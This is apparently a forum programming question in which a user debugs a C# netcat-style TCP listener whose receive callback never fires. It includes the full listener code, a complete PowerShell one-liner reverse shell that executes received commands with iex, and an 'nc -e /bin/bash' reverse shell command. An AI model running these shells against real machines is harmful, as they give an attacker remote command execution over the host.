I'm writing a tool like nc. I'm giving my ip adress and my port to listen for incoming connections. This is my source code :
using System;
using System.Collections.Generic;
using System.Net;
using System.Net.Sockets;
using System.Text;
namespace Netcat
{
class Program
{
static void Main(string[] args)
{
var ip_Address = "XXX.XXX.XXX.XXX";
var port = 4433;
IPAddress ipadress = IPAddress.Parse(ip_Address);
IPEndPoint endPoint = new IPEndPoint(ipadress, port);
// A server socket is created and bound to the defined IP address and port
Socket server = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
server.Bind(endPoint);
server.Listen(10);
Console.WriteLine("Listening");
// The server waits for a client to connect and once a connection is established, the client socket is accepted
Socket clientSocket = server.Accept();
Console.WriteLine("[+]Got Connection");
// Receive and send buffers are created
byte[] receiveBuffer = new byte[1024];
byte[] sendBuffer = new byte[1024];
// A new object of type StateObject is created to hold the client socket object
StateObject state = new StateObject();
state.workSocket = clientSocket;
while (true)
{
// Checks if data is available to be received
if (clientSocket.Available > 0)
{
// If data is available, the ReceiveCallback method is called
clientSocket.BeginReceive(state.buffer, 0, StateObject.BufferSize, SocketFlags.None, new AsyncCallback(ReceiveCallback), state);
}
// enter a command to be sent to the client
var command = Console.ReadLine();
// The command is converted to bytes and sent to the client
sendBuffer = Encoding.ASCII.GetBytes(command.ToString());
clientSocket.Send(sendBuffer);
}
}
// The ReceiveCallback method is called when data is received
public static void ReceiveCallback(IAsyncResult ar)
{
StateObject state = (StateObject)ar.AsyncState;
Socket clientSocket = state.workSocket;
// The number of bytes received is calculated and the received data is stored in a byte array
int numByte = clientSocket.EndReceive(ar);
byte[] receivedBytes = new byte[numByte];
Array.Copy(state.buffer, receivedBytes, numByte);
string receive = Encoding.ASCII.GetString(receivedBytes);
Console.WriteLine(receive);
// The received data is converted to a string and printed to the console
// Asynchronously receive data again
clientSocket.BeginReceive(state.buffer, 0, StateObject.BufferSize, SocketFlags.None, new AsyncCallback(ReceiveCallback), state);
}
// The StateObject class is used to hold the client socket object and buffer size
public class StateObject
{
public Socket workSocket = null;
public const int BufferSize = 1024;
public byte[] buffer = new byte[BufferSize];
}
}
}
I can connect my server with powershell one line reverse shell:
$client = New-Object System.Net.Sockets.TCPClient('XXX.XXX.XXX.XXX',4433);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex ". { $data } 2>&1" | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
I can connect with this powershell reverse shell. I can send commands and get response but, when I try to do same thing from my kali linux with nc reverse shell command
nc XXX.XXX.XXX.XXX 4433 -e /bin/bash
I can connect, I can send data but, I can't recevie anything from client. I mean, the ReceiveCallback asynchronous function is never triggered. So, I can't receive anything. What should I do? What am I doing wrong?
I set some breakpoints and tried to understood what is the problem but, couldn't understand. Then, I searched on google but, couldn't find anything useful.
